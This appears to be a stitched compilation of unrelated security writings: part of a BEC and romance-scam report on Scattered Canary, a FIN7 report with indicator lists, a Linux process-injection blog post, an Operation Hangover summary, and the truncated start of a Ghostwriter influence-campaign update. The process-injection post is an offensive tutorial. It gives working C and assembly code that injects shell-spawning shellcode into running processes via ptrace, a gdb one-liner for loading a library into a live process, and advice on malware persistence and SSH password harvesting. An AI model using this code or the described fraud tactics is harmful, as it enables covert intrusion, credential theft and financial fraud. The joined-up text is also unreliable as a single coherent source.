After the new accounts were opened, Jane sent her fictitious online boyfriend the account credentials, using passwords like weare4ever and 2hearts1love. Over time, these passwords became things like 2muchmystery and iam2wornout as Jane grew tired of the mysterious relationship with her online lover. Unfortunately and sadly, Jane passed away in September 2017. Even after her death, though, Scattered Canary continued to victimize her. In October 2017, a member of the group attempted to take out an auto loan using Jane’s personal information, providing more evidence that these groups are only interested in one thing—money.
While losses related to romance scams are typically tracked on their own, romance and BEC scams are very close cousins when it comes to fraud. In almost every case investigated by our team, when banking details of a phishing email included a person’s name, that person was an unwitting participant of the BEC game. Over the years, we have had the honor of speaking with several victims. In many cases, the victims simply believed that they were in a legitimate online relationship and were unaware of the fraud they were committing. The devastating piece is that many of these victims spent years entangled in the scheme—in one case over nine years—before being notified by external parties or law enforcement.
### 2015–2017: Pivoting to Enterprises
As Scattered Canary’s business expanded, mostly through romance scams, Alpha saw the value of larger targets and met with the person who eventually became his co-conspirator and who we refer to as Beta. Once these two men joined forces, they would pivot away from targeting individuals to focus on enterprises. By all accounts, late 2015 was the beginning of BEC for Scattered Canary.
In mid-2015, Scattered Canary started moving away from “long con” social engineering attacks and toward more scalable—and ultimately more profitable—attack vectors. The first type of attack they pivoted to was credential phishing. Between July 2015 and February 2016, Scattered Canary’s primary focus seemed to be mass harvesting general credentials using a Google Docs phishing page. In the first few months of their credential phishing ventures, Scattered Canary’s sights were mostly set on Asian targets—Malaysia and Japan, in particular. In November 2015, the group started to focus on North American users, mostly in the United States.
This activity ceased in February 2016, likely because the men who made up Scattered Canary began to focus on honing their BEC skills. However, more than a year later in March 2017, they returned to the credential phishing game. This time, though, the group’s focus had clearly shifted away from individual users and toward corporate victims.
Instead of using fake Google Docs phishing pages to collect personal email login credentials, Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials. Key pages included ones that impersonated Adobe, DocuSign, and OneDrive. For over eighteen months from March 2017 until November 2018, Scattered Canary’s frequent enterprise-focused credential phishing campaigns almost exclusively targeted businesses in the United States and Canada. In total, Scattered Canary received more than 3,000 account credentials as a result of their phishing attacks.
Aside from credential phishing, Scattered Canary’s biggest evolution from individual targets to corporate users came in November 2015, when the group, like so many other West African cybercriminal groups, broke into the BEC space. In the early days of their BEC campaigns, Scattered Canary tested multiple different methods of crafting deceptive emails, including using different templates and impersonation tactics.
After a few months, the group settled on a tactic that they felt worked for them: directly spoofing target company domains and requesting a payment via wire transfer to a supposed vendor. Scattered Canary used this tactic of impersonating target domains until September 2016, when they switched to using obscure webmail accounts or email accounts linked to domains registered by the group themselves.
Until this point, Scattered Canary was made up of only Alpha working as an individual contributor on every scam, with a few tangential associates helping out from time to time. However, as he became more successful and transitioned into BEC, he looked to expand his numbers and the first new “employee” joined the group in October 2015—Beta. Beta’s primary role at the time, and what he continues to focus on today, has been to act as the “mule herder” for the group. In other words, Beta’s job is to identify and recruit individuals who are then used to receive the stolen proceeds of BEC attacks. Since 2015, Beta has relayed more than 150 mule accounts to Alpha—more than any other Scattered Canary group member by far. Over the years, Alpha has also relied on Beta to assist in other types of scams, most often handling the distribution of fake checks as part of mystery shopper scams. By all accounts, this is shockingly similar to how Omega used Alpha in the first few years of Scattered Canary’s existence.
Unfortunately for the enterprises being targeted, Beta was not the only new member to join the cybercriminal organization during this period of Scattered Canary’s rapid expansion. In total, 19 individuals joined the group in different capacities during this three-year period. Most of these new associates contributed to the group’s scams by providing a constantly fresh feed of new mule accounts to Alpha. Others came onboard to help facilitate other types of scams or build a more robust scamming infrastructure.
### 2017–Present: Becoming a Well-Oiled Machine
By 2017, Scattered Canary had business-critical tools and tactics in place and started to define functional roles across an ever-expanding array of revenue streams. Some group members were responsible for managing BEC campaigns, some for forging checks and money orders, and still others for harvesting stolen credit card numbers for use in various cons. Like any rapidly-growing company, Scattered Canary took infrastructure into consideration and quickly added Remote Desktop Protocol (RDP) servers to help them scale and coordinate operations. Meanwhile, the organization continued to market-test new approaches to defrauding a growing universe of victims.
Similar to how the group pivoted from individual victims to business targets during the previous three-year period, Scattered Canary again set their sights on a new type of target in 2017—government agencies. Using personal information obtained from various sources, Scattered Canary started perpetrating fraud against US federal and state government agencies. Notable targets include the ones listed here, among dozens of others.
Much of the fraudulent activity targeting government agencies has involved the use of a technique that takes advantage of a “feature” within Gmail accounts. Unlike most online services, Google does not recognize periods in email addresses. Instead, the email address [email protected] and [email protected] are both interpreted as the same address and route email sent to each of those addresses to the same account. Some cybercrime groups, including Scattered Canary, have exploited this feature by creating numerous “dot variant” accounts on a single website that then directs communications for all of those accounts to a single Gmail account. This allows scammers to scale their operations more effectively by removing the need to create and monitor a different email account for every account they create on a website.
Using this tactic, Scattered Canary facilitated a significant amount of fraudulent activity against government institutions, including the following:
- Filed 13 fraudulent tax returns with a single online tax service
- Applied for Texas state unemployment benefits under nine identities
- Submitted 12 change of address requests with the US Postal Service
- Submitted applications for FEMA disaster assistance under three identities
- Submitted 11 fraudulent Social Security benefit applications
In addition to the scams above, Scattered Canary also used this technique to submit at least 48 credit card applications at four US-based financial institutions, resulting in the approval of at least $65,000 in fraudulent credit.
While Scattered Canary’s targeting of government institutions demonstrates a notable evolution in their attacks, the group’s primary focus over the past few years has been continuing to improve their BEC phishing campaigns. In July 2018, following a trend we have observed across the entire BEC threat landscape, Scattered Canary changed their preferred cash out mechanism from wire transfers to gift cards. For five months, the group’s primary focus was to persuade employees to purchase Apple iTunes and Amazon gift cards based on a supposed request from their CEO.
Like other scammers involved in gift card BEC scams, Scattered Canary laundered the gift cards they received from victims through a peer-to-peer online cryptocurrency exchange called Paxful. In our previous report on the Nigerian cybercriminal group Scarlet Widow, we detailed the process by which stolen gift cards are converted into cash through a multi-step laundering process using Paxful and other online cryptocurrency marketplaces.
Over the five-month span that Scattered Canary focused on collecting gift cards in their BEC attacks, the group received at least 132 gift cards from victims, which netted them around two bitcoin once they were traded on Paxful. Based on the price range of bitcoin during this period, this translates to around $12,000 to $14,000 in profits. Interestingly, Scattered Canary abandoned gift cards as a BEC cash out method in November 2018, at the same time the price of bitcoin crashed.
After Scattered Canary moved on from gift card scams, they transitioned to another type of BEC attack: payroll diversion scams. In these types of scams, rather than socially engineering a finance employee to wire money to a “vendor” account, the scammer targets employees in a company’s human resources department to persuade them to change the direct deposit account associated with a high-level executive’s payroll information.
One of the reasons payroll diversion attacks have become a preferred BEC tactic for Scattered Canary—as well as quickly emerging trend we’ve seen across the entire BEC threat landscape—is because of the ability to use easily accessible prepaid debit cards to receive payroll direct deposits. These prepaid debit cards come with a corresponding bank account, and they’re much easier to set up. Rather than requiring a money mule to physically visit a bank branch to open an account, the mule can simply register for a prepaid card online with a less stringent application process and have a new card mailed directly to them. Combined with the fact that most prepaid cards do not require credit checks, it is easy to see why this has become a popular method for scammers.
This tactic, along with the introduction of a fairly new threat actor we’ve named Zeta, has allowed Scattered Canary to scale their payroll diversion schemes very quickly. Since late 2017, Zeta contributed the most prepaid card accounts to the group and has fed Alpha with more than 140 prepaid card numbers in the last eighteen months alone. Because of Scattered Canary’s focus and success on this type of BEC scam, Zeta has quickly become one of the most impactful associates in the group today. Overall, Scattered Canary’s membership has nearly doubled over the past two years, adding another 15 actors to help scale the group’s operations. While half of these new recruits came on board to harvest new BEC mule accounts, the other half were involved in other scams during this time, such as mystery shopper scams and tax return fraud. In total, 35 actors have been tied to Scattered Canary’s operations since the group emerged in 2008.
### Tools of the Trade: Anatomy of a BEC Scam
A core component of a business email compromise attack is the email itself, which is the starting point for all successful BEC scams. Just as with romance scams, actors make use of scripts and templates they can copy-and-paste without having to create something on their own. In the case of Scattered Canary, these formats can be forwarded as a one-off task to group operatives to send to targets, or they can be shared as a collection in phishing kits.
#### Leads, Leads, Leads
In order to succeed in their BEC attacks, Scattered Canary first needed to find targets. To do this, Scattered Canary, like other BEC criminal groups we’ve researched, uses online commercial lead generation services—the same ones legitimate sales and marketing teams use all over the world. Like any startup, though, Scattered Canary wanted to pinch pennies and save money.
One of the ways they did this was to use the Gmail dot variant account technique discussed earlier to sign up for a seven-day free trial period with a service like Lead411. The group would then use the service to retrieve as many target leads as possible in the one-week timeframe. Once the free trial ended, the group would let it lapse and then sign up for it again using the same email address—but with periods in different places in the registered email address. Scattered Canary did this a total of twenty times over a three-year period in order to maintain access to this lead generation service without paying a monthly subscription.
Once the group had a list of leads, often for the Chief Financial Officer or other top executive, and corresponding information for the CEO, they could then begin sending their malicious emails.
#### BEC “Formats”
When it comes to engaging targets, Scattered Canary frequently maximized efficiencies through the use of scripts, or as some members of the group call them, “formats.” These formats are templated text documents that can contain several layers of phishing messages to send to potential victims. During our research into Scattered Canary, we identified a format containing 26 different message templates that could be used to target organizations in a variety of BEC scams, including direct deposit and W-2 fraud.
### Conclusion: Where Do We Go From Here?
When BEC first exploded in 2015, little was known about its origins or how it may relate to other types of fraud. In order to effectively defeat BEC and the threat actors behind it, it is critically important that we step back and look at the bigger picture—regardless of how big that picture may be.
With BEC overlapping with dozens of other types of scams—ranging from credit card and check fraud to romance scams to W-2 and payroll diversion schemes—approaching BEC as a singular problem will not lead to success. Instead, it will only result in a frustrating game of digital whack-a-mole, with no real success in finding and persecuting the actors responsible for it.
If Scattered Canary can be seen as a microcosm for the rapidly evolving organizations behind today’s most pernicious email scams, this report demonstrates that a much more holistic approach—one based on threat actor identity rather than type of fraudulent activity—is required to detect email fraud and protect organizations. This fight is not just about business email compromise. It is about all types of fraud, no matter the form it takes today—or tomorrow. |
# FIN7.5: The Infamous Cybercrime Rig “FIN7” Continues Its Activities
By Yury Namestnikov, Félix Aime on May 8, 2019
On August 1, 2018, the US Department of Justice announced that it had arrested several individuals suspected of having ties to the FIN7 cybercrime rig. FIN7 operations are linked to numerous intrusion attempts targeting hundreds of companies since at least 2015. Interestingly, this threat actor created fake companies to hire remote pentesters, developers, and interpreters to participate in their malicious business. The main goal behind its activities was to steal financial assets from companies, such as debit cards, or gain access to financial data or computers of finance department employees to conduct wire transfers to offshore accounts.
In 2018-2019, researchers of Kaspersky Lab’s Global Research and Analysis Team analyzed various campaigns that used the same Tactics, Tools, and Procedures (TTPs) as historic FIN7, leading them to believe that this threat actor remained active despite the 2018 arrests. During the investigation, certain similarities to other attacker groups that seemed to share or copy the FIN7 TTPs were discovered.
## Recent FIN7 Campaigns
The FIN7 intrusion set continued its tailored spear phishing campaigns throughout last year. Kaspersky Lab retrieved some of these exchanges from a FIN7 target. The spear phishing campaigns were remarkably sophisticated from a social engineering perspective. In various cases, the operators exchanged numerous messages with their victims for weeks before sending their malicious documents. The emails were efficient social-engineering attempts that appealed to various human emotions (fear, stress, anger, etc.) to elicit a response from their victims. One of the domains used by the attackers in their 2018 campaign contained more than 130 email aliases, suggesting that over 130 companies had been targeted by the end of 2018.
### Malicious Documents
Two types of documents were sent to victims in these spear phishing campaigns. The first exploits the INCLUDEPICTURE feature of Microsoft Word to gather context information about the victim’s computer, including the availability and version number of Microsoft Word. The second, often an Office document protected with a trivial password, uses macros to execute a GRIFFON implant on the target’s computer. In various cases, the associated macro also scheduled tasks to make GRIFFON persistent.
Interestingly, following some open-source publications about them, the FIN7 operators seem to have developed a homemade builder of malicious Office documents using ideas from ThreadKit, which they employed during the summer of 2018. The new builder inserts random values in the Author and Company metadata fields and allows modifications of different IOCs, such as the filenames of wscript.exe or sctasks.exe copies.
### GRIFFON Implant
The GRIFFON implant is a lightweight JScript validator-style implant without any persistence mechanism. The malware is designed for receiving modules to be executed in-memory and sending the results to C2s. Four different modules were obtained during the investigation:
1. **Reconnaissance Module**: This module gathers information about the infected workstation, relying on WMI and Windows objects to deliver results.
2. **Meterpreter Downloader**: This module executes an obfuscated PowerShell script containing a Meterpreter downloader known as “Tinymet”.
3. **Screenshot Module**: This module allows operators to take a screenshot of the remote system, saving it at “%TMP%/image.png” before sending it back to the attackers.
4. **Persistence Module**: If the victim appears valuable, a GRIFFON implant installer is pushed to the victim’s workstation, storing another instance of the GRIFFON implant inside the registry for persistence.
## On the Hunt for GRIFFON Infrastructure
Attackers make mistakes, and FIN7 is no exception. A major error made by its operators allowed tracking of the command and control server of the GRIFFON implant last year. To trick blue teams and other DFIR analysts, the operators created fake HTTP 302 redirection to various Google services on their C2 servers.
This error allowed tracking of the infrastructure week by week until an individual tweeted a heuristic to track their C2 at the end of December 2018. A few days later, in January 2019, the operators changed their landing page to prevent this type of tracking.
### Fake Pentest Company
During the investigation related to the GRIFFON infrastructure, a strange overlap was found between the WHOIS record of an old GRIFFON C2 and the website of a fake company. The website claimed to belong to a legitimate security company “fully owned by the Russian Government” with offices in Moscow, Saint Petersburg, and Yekaterinburg, but the address indicated it was located in Trump Tower, New York. Given FIN7’s previous use of false security companies, further investigation was warranted.
The content of the website revealed that almost all text was lifted from legitimate security-company websites, borrowing phrases and sentences from various companies.
This company seems to have been used by the FIN7 threat actor to hire new people as translators, developers, and pentesters. Various job advertisements associated with the company were found on freelance and remote-work websites, and individuals have mentioned the company in their resumes, suggesting some may not even be aware they are working for a cybercrime business.
## Links to Other Intrusion Sets
While tracking numerous threat actors during late 2018 and early 2019, various activity clusters sharing certain TTPs associated with the FIN7 intrusion set were discovered. The link between these threat actors and FIN7 is still weak, but a few hints are disclosed.
### CobaltGoblin/EmpireMonkey
FIN7 has overlapped several times with Cobalt/EmpireMonkey in terms of TTPs. This activity cluster targets mainly banks and developers of banking and money processing software solutions. At the end of 2018, the cluster began using CobaltStrike and Powershell Empire to gain a foothold on victims’ networks.
FIN7’s last campaigns targeted banks in Europe and Central America, with suspected theft of €13 million from Bank of Valetta, Malta earlier this year.
### AveMaria
AveMaria is a new botnet first found in September 2018, shortly after the arrests of FIN7 members. It is a classic infostealer bot that collects credentials from various software and can act as a keylogger. Since early 2019, over 1300 samples and more than 130 C2s have been collected.
To deliver their malware, cybercriminals use spearphishing emails with various attachments, including MS Office documents exploiting known vulnerabilities. Some emails even ask targets to phone them if they have questions, similar to FIN7.
### CopyPaste
At the end of 2018, while searching for new FIN7 campaigns, a set of activity called “CopyPaste” was discovered. This actor targeted financial entities and companies in one African country, suggesting a connection to cybermercenaries or a training center.
Both CopyPaste and FIN7 used the same Microsoft PowerShell argument obfuscation order and decoy HTTP redirections. The links between CopyPaste and FIN7 are still weak, and it is possible that CopyPaste operators were influenced by open-source publications without any ties to FIN7.
## Conclusions
During 2018, Europol and DoJ announced the arrest of the leader of FIN7 and Carbanak/CobaltGoblin cybercrime groups. It was believed that this would impact the group’s operations. However, recent data indicates that attacks have continued without significant drawbacks.
CobaltGoblin and FIN7 have extended the number of groups operating under their umbrella. Several interconnected groups use similar toolkits and infrastructure for cyberattacks. The first is FIN7, specializing in attacking various companies for financial data or PoS infrastructure. The second is CobaltGoblin/Carbanak/EmpireMonkey, targeting only financial institutions and associated software/services providers.
The AveMaria botnet is linked to these groups with medium confidence, as its targets are mostly suppliers for big companies. The newly discovered CopyPaste group targeted financial entities in one African country, suggesting a connection to cybermercenaries or a training center.
All of these groups benefit from unpatched systems in corporate environments and continue to use effective spearphishing campaigns alongside well-known MS Office exploits. So far, they have not used any zero-days.
FIN7/Cobalt phishing documents may seem basic, but combined with extensive social engineering and focused targeting, they are quite successful. As with their previous fake company “Combi Security,” they continue to create new personas for targeting or recruiting under a “new” brand, “IPC.”
More information about these and related attacks is available to customers of Kaspersky Intelligence Reports.
### Indicators of Compromise
**AveMaria**
- 185.61.138.249
- tain.warzonedns[.]com
- noreply377.ddns[.]net
- 185.162.131.97
- 91.192.100.62
- server.mtcc[.]me
- doddyfire.dyndns[.]org
- 212.8.240.116
- 168.167.45.162
- toekie.ddns[.]net
- warmaha.warzonedns[.]com
**CopyPaste**
- digi-cert[.]org
- somtelnetworks[.]com
- geotrusts[.]com
- secureclientupdate[.]com
- digicertweb[.]com
- sport-pesa[.]org
- itaxkenya[.]com
- businessdailyafrica[.]net
- infotrak-research[.]com
- nairobiwired[.]com
- k-24tv[.]com
**FIN7/GRIFFON**
- hpservice-cdn[.]com
- realtek-cdn[.]com
- logitech-cdn[.]com
- pci-cdn[.]com
- appleservice-cdn[.]com
- servicebing-cdn[.]com
- cisco-cdn[.]com
- yahooservices-cdn[.]com
- globaltech-cdn[.]com
- infosys-cdn[.]com
- google-services-s5[.]com
- instagram-cdn[.]com
- mse-cdn[.]com
- akamaiservice-cdn[.]com
- booking-cdn[.]com
- live-cdn2[.]com
- cloudflare-cdn-r5[.]com
- cdnj-cloudflare[.]com
- bing-cdn[.]com
- servicebing-cdn[.]com
- cdn-yahooapi[.]com
- cdn-googleapi[.]com
- googl-analytic[.]com
- mse-cdn[.]com
- tw32-cdn[.]com
- gmail-cdn3[.]com
- digicert-cdn[.]com
- vmware-cdn[.]com
- exchange-cdn[.]com
- cdn-skype[.]com
- windowsupdatemicrosoft[.]com
- msdn-cdn[.]com
- testing-cdn[.]com
- msdn-update[.]com
**EmpireMonkey/CobaltGoblin**
- (entity)-corporate[.]com
- (entity)-cert[.]com
- (entity)-no[.]org
- (entity)-fr[.]org
- (entity)-acquisition[.]org
- (entity)-trust[.]org
- riscomponents[.]pw
- nlscdn[.]com |
# Process Injection On Linux
**August 16, 2020**
## See Also
### Why Do We Inject
Process injection can be useful when we need to hide our malware deeper, or when we want to add extra persistence to our malware. There are several ways of doing a process injection on Linux. Unlike Windows, which provides many official APIs for this purpose, on Linux we almost always need `PTRACE` if we want to inject code into a running process.
### LD_PRELOAD
This is the most common technique used by Linux malware; it tells the loader to load a specific shared object before anything else. You can also set the preload library in `/etc/ld.so.preload`.
### PTRACE
`PTRACE_POKETEXT` / `PTRACE_POKEDATA`: Copy the word data to the address `addr` in the tracee's memory. As for `PTRACE_PEEKTEXT` and `PTRACE_PEEKDATA`, these two requests are currently equivalent. `POKETEXT` modifies the tracee's memory, so we can put our shellcode there, then find a way to execute it.
### Execute Shellcode
Inject shellcode into the RIP-pointed address. By injecting code into the current RIP-pointed address, our code gets run as long as we send a `SIGCONT` (with `PTRACE_CONT` or `PTRACE_DETACH`). However, doing so causes the tracee to crash afterwards if we don't restore its previous state.
There's a great article that covers this method: [Linux Infecting Running Processes](https://0x00sec.org/t/linux-infecting-running-processes/1097).
Here's his code; I've added some comments and corrected some typos:
```c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/reg.h>
#include <sys/user.h>
#define SHELLCODE_SIZE 32
unsigned char* shellcode = "\x48\x31\xc0\x48\x89\xc2\x48\x89"
"\xc6\x48\x8d\x3d\x04\x00\x00\x00"
"\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\xcc\x90\x90\x90";
int inject_data(pid_t pid, unsigned char* src, void* dst, int len) {
int i;
uint32_t* s = (uint32_t*)src;
uint32_t* d = (uint32_t*)dst;
// The PTRACE_POKETEXT function works on words,
// so we convert everything to word pointers (32bits) and we also increase i by 4.
for (i = 0; i < len; i += 4, s++, d++) {
if ((ptrace(PTRACE_POKETEXT, pid, d, *s)) < 0) {
perror("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int main(int argc, char* argv[]) {
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2) {
fprintf(stderr, "Usage:\n\t%s pid\n", argv[0]);
exit(1);
}
target = atoi(argv[1]);
printf("+ Tracing process %d\n", target);
if ((ptrace(PTRACE_ATTACH, target, NULL, NULL)) < 0) {
perror("ptrace(ATTACH):");
exit(1);
}
printf("+ Waiting for process...\n");
wait(NULL);
printf("+ Getting Registers\n");
if ((ptrace(PTRACE_GETREGS, target, NULL, ®s)) < 0) {
perror("ptrace(GETREGS):");
exit(1);
}
/* Inject code into current RIP position */
// This will execute the shellcode but leave the tracee in a dead state
printf("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data(target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2; // PTRACE_DETACH subtracts 2 bytes to the Instruction Pointer
printf("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace(PTRACE_SETREGS, target, NULL, ®s)) < 0) {
perror("ptrace(GETREGS):");
exit(1);
}
printf("+ Run it!\n");
// The shellcode will be run (as it's pointed by RIP) after detaching
if ((ptrace(PTRACE_DETACH, target, NULL, NULL)) < 0) {
perror("ptrace(DETACH):");
exit(1);
}
return 0;
}
```
### Inject Without Crashing the Process
From Phrack:
I've seen some injection mechanisms used by some `ptrace()` exploits for Linux, which injected a standard shellcode into the memory area pointed by `%eip`. That's the lazy way of doing injection since the target process is screwed up and can't be used again (crashes or doesn't fork). We have to find another way to execute our code in the target process.
1. Get the current `eip` of the process, and the `esp`.
2. Decrement `esp` by four.
3. Poke `eip` address at the `esp` address.
4. Inject the shellcode into `esp - 1024` address (not directly before the space pointed by `esp`, because some shellcodes use the push instruction).
5. Set register `eip` as the value of `esp - 1024`.
6. Invoke the `SETREGS` method of `ptrace`.
7. Detach the process and let it open a root shell for you.
This method injects a shellcode that forks a new child process, then injects the real shellcode into it. It has the obvious advantage of running shellcode in a child process without affecting the father (the tracee, the process that we inject code into). The caveat, I assume, is that the child process might be noticeable.
The `pusha` saves all the registers on the stack, so the process may restore them just after the fork. If the return value of `fork` is zero, this is the son being executed. If the return value is not zero (but a pid), restore the registers and the previously saved `eip`. The program may continue as if nothing has happened.
The first two `nop`s are due to the same reason that I mentioned: `PTRACE_DETACH` subtracts 2 bytes to the Instruction Pointer.
Compile the following demo with `gcc -c s1.S`, you are going to inject this shellcode to your target process.
```assembly
// All that part has to be done into the injected process
// In other words, this is the injected shellcode
.globl injected_shellcode
injected_shellcode:
// ret location has been pushed previously
nop
nop
pusha // save before anything
xor %eax, %eax
mov $0x02, %al // sys_fork
int $0x80 // fork()
xor %ebx, %ebx
cmp %eax, %ebx // father or son?
je son // I'm son
// Here, I'm the father, I've to restore my previous state
father:
popa
ret // return address has been pushed on the stack previously
// Code finished for father
son: // standard shellcode, at your choice
.string ""
```
### Load an External Library
This approach needs `dlopen` or something similar; basically, we need to inject shellcode to run `dlopen`, then load our shared object (library). Using `gdb` to load a library is a much better choice:
```bash
echo 'print __libc_dlopen_mode("/path/to/library.so", 2)' | gdb -p <PID>
```
The library gets loaded into the running PID immediately, and your code gets executed. You can upload a static-linked `gdb` binary and try your luck.
### Weaponize
**SSHD Inject and Password Harvesting**: See XPN's ssh-inject tool; he has an article about this too.
### My Own Approach
**Persistence**: Just write your shared library and put your code there; use any of the injection methods you like.
### Proc Memory
To be continued. |
# OPERATION HANGOVER | Executive Summary
This report details a sophisticated cyberattack infrastructure that appears to originate from India, conducted by private threat actors with no evidence of state-sponsorship. It has likely been in operation for over three years, primarily as a platform for surveillance against targets of national security interest that are mostly based in Pakistan and possibly in the United States. It is also used for industrial espionage against the Norwegian telecom corporation Telenor and other civilian corporations. Evidence points to professional project management and outsourcing of key tasks, including some by freelance programmers.
On March 17, 2013, a Norwegian newspaper reported that the country’s telecommunications giant Telenor had filed a criminal police case for an unlawful computer intrusion. Spear phishing emails targeting upper management appeared to be the source of the infection. Through extensive analysis, security analysts at Norman Shark in conjunction with our partners quickly uncovered a previously unknown and sophisticated infrastructure for targeted attacks.
## Cyberattack Objectives
The primary purpose of this long-running, global command-and-control network appears to be surveillance against national security interests. Private-sector industrial espionage in fields as diverse as natural resources, telecommunications, law, food & restaurants, and manufacturing is likely a secondary purpose of this network.
### Target Selection
Based on analysis of IP addresses collected from criminal data stores discovered during the investigation, it appears that potential victims have been targeted in over a dozen countries, most heavily represented by Pakistan, Iran, and the United States. Targets include government, military, and civilian organizations.
### Highly-Targeted Social Engineering Tactics
Spear phishing to carefully-selected target individuals was the primary attack vector identified in the investigation. The attackers went to great lengths to make the social engineering aspects of the attack appear as credible and applicable as possible. In many cases, decoy files and websites were used, specifically geared to the particular sensibilities of regional targets including cultural and religious subject matter. Victims would click on what appeared to be an interesting document and begin the long-running infection cycle.
### Exploit Tools and Techniques
Despite all of the recent media attention on so-called “zero-day” exploits encompassing brand new, never-before-seen attack methods, Operation Hangover appears to have relied exclusively upon well-known, previously identified vulnerabilities in Java, Word documents, and web browsers. Favored methods include documents infected with malicious code, along with direction to malicious websites with names deliberately similar to legitimate government, entertainment, security-related, and commercial sites. Often the user would be presented with a legitimate document or software download they were expecting to see, along with an unseen malicious download.
### Infrastructure Development
Operation Hangover utilizes a very extensive and sophisticated command-and-control infrastructure, likely developed over many months or years by numerous developers. Our investigation revealed evidence of professional project management practices used to design frameworks, modules, and sub-components. Individual malware authors were assigned certain tasks, and components were “outsourced” to what appear to be freelance programmers.
### Attribution of Responsibility
In recent months, much focus has been on China – including both state-sponsored and individual actors – but Operation Hangover contains notable hallmarks of originating exclusively in India. We base this attribution with a very high degree of confidence on our extensive analysis of IP addresses, website domain registrations, and text-based identifiers contained within the malicious code itself. All indications point to private syndicates of threat actors following their own motivations, with no direct evidence of state-sponsorship by the Indian government or by any other nation.
## Contact Information
Gary Thompson, 925.768.2400
Tim Johnson, 415.385.9537
[email protected] |
# Ghostwriter Update: Cyber Espionage Group UNC1151 Likely Conducts Ghostwriter Influence Activity
## Executive Summary
- In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing cyber-enabled influence campaign named “Ghostwriter.” The campaign has primarily targeted audiences in Lithuania, Latvia, and Poland with narratives critical of NATO’s presence in Eastern Europe. Since that report, we have identified over twenty additional incidents that we believe are part of Ghostwriter activity reported to Mandiant Intelligence customers.
- The narratives, targeting, and tactics, techniques, and procedures (TTPs) associated with Ghostwriter activity have expanded. For example, five operations took place between October 2020 and January 2021 in which the social media accounts of Polish officials were compromised and used to disseminate narratives seemingly intended to discredit the Polish government and widen existing domestic political divisions.
- We now assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter activity. Beginning at the start of 2021, UNC1151 expanded its credential theft activity to target German individuals, focusing on politicians. We do not associate UNC1151 with any other previously tracked threat groups.
## Introduction
In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign named “Ghostwriter.” Ghostwriter is a cyber-enabled influence campaign that primarily targets audiences in Lithuania, Latvia, and Poland and promotes narratives critical of NATO’s presence in Eastern Europe. Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers. We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020. This report provides an update on Ghostwriter, highlighting two significant developments.
We have observed an expansion of narratives, targeting, and TTPs associated with Ghostwriter activity since we released our July 2020 report. For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO. These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails, or posts from inauthentic personas.
## Observed Expansion of Narratives, Targeting, and TTPs Associated with Ghostwriter Activity
While we have continued to track and investigate Ghostwriter influence activity that follows the typical operational model laid out in our July 2020 public report, we have also observed an expansion of the narratives, targeting, and TTPs associated with Ghostwriter activity. For example, in January, we began investigating five operations that took place between October 2020 and January 2021 in which the social media accounts of Polish officials were compromised and used to disseminate narratives seemingly intended to discredit the Polish government domestically and to widen existing domestic political divisions.
- The five operations used compromised Twitter, Facebook, and/or Instagram accounts of Polish officials as the main vector for content dissemination. We have observed no evidence that these platforms were themselves compromised and instead believe social media account credentials were obtained using the compromised email accounts of targeted individuals. The takeover of high-profile social media accounts after the operators gained access to those users’ corresponding email accounts reinforces the continued importance for potential campaign targets to secure their social media accounts with two-factor authentication.
- Polish officials who are members of political parties within the ruling United Right political coalition (Zjednoczona Prawica), which currently holds power in Poland, were the primary victims of the observed account compromises. The majority of United Right coalition victims are either affiliated with the Law and Justice party (Prawo i Sprawiedliwość or PiS) or the Agreement party (Porozumienie).
### Table 1. Five Ghostwriter Operations Involved the Compromise of Social Media Accounts Belonging to Polish Politicians to Disseminate Compromising Material and/or Fabricated Narratives.
| Date | Compromised Account | Incident Description |
|---------------|---------------------------------------------|----------------------|
| Oct. 29, 2020 | Joanna Borowiak, PiS party (Twitter) | A tweet published to the Twitter account of Polish MP Joanna Borowiak called pro-choice activists “drug addicts-prostitutes and child killers.” |
| Nov. 19, 2020 | Marcin Kamil Duszek, PiS party (Facebook) | A post published to the personal Facebook account of Polish MP Marcin Kamil Duszek featured private, compromising pictures of a woman, some of which also included Duszek himself. The post introduced the woman as Duszek’s new secretary and stated that his “fellow Members [of parliament] will be jealous.” |
| Dec. 15, 2020 | Marlena Maląg, PiS party (Facebook) | A post published to the Facebook account of Poland’s Minister for Family and Social Policy, Marlena Maląg, condemned female activists involved in protests against then-forthcoming new abortion laws. The post used racial slurs to characterize the women and compared them to “brainless savages.” |
| Jan. 12, 2021 | Iwona Michałek, Porozumienie party (Twitter) | A tweet published to the Twitter account of Iwona Michałek, Poland’s deputy minister of development, labor, and technology, disseminated the false narrative that she no longer wanted to be affiliated with the PiS party. The tweet condemned PiS as the party of “murderers, thieves, and executioners.” |
| Jan. 18, 2021 | Marek Suski, PiS party (Twitter) | Compromising photos of a woman closely resembling Ewa Szarzyńska, a local politician from Mogilno, were disseminated by multiple accounts, including compromised Twitter and Instagram accounts belonging to Szarzyńska and the Twitter account of Polish MP Marek Suski. |
In a second phase of dissemination following the January 18, 2021 incident involving the compromised social media accounts of Marek Suski and Ewa Szarzyńska, additional TTPs typically observed in historical Ghostwriter operations were also used. On January 20, 2021, two days after the operation’s Polish-language content was disseminated, a potentially fabricated English-language article was published and disseminated on multiple websites by single-use accounts that appear to be impersonating the real Polish journalist and radio host Jan Wróbel.
### October 2020 NATO-Themed Operation Also Leveraged Compromises of Polish Officials’ Social Media Accounts
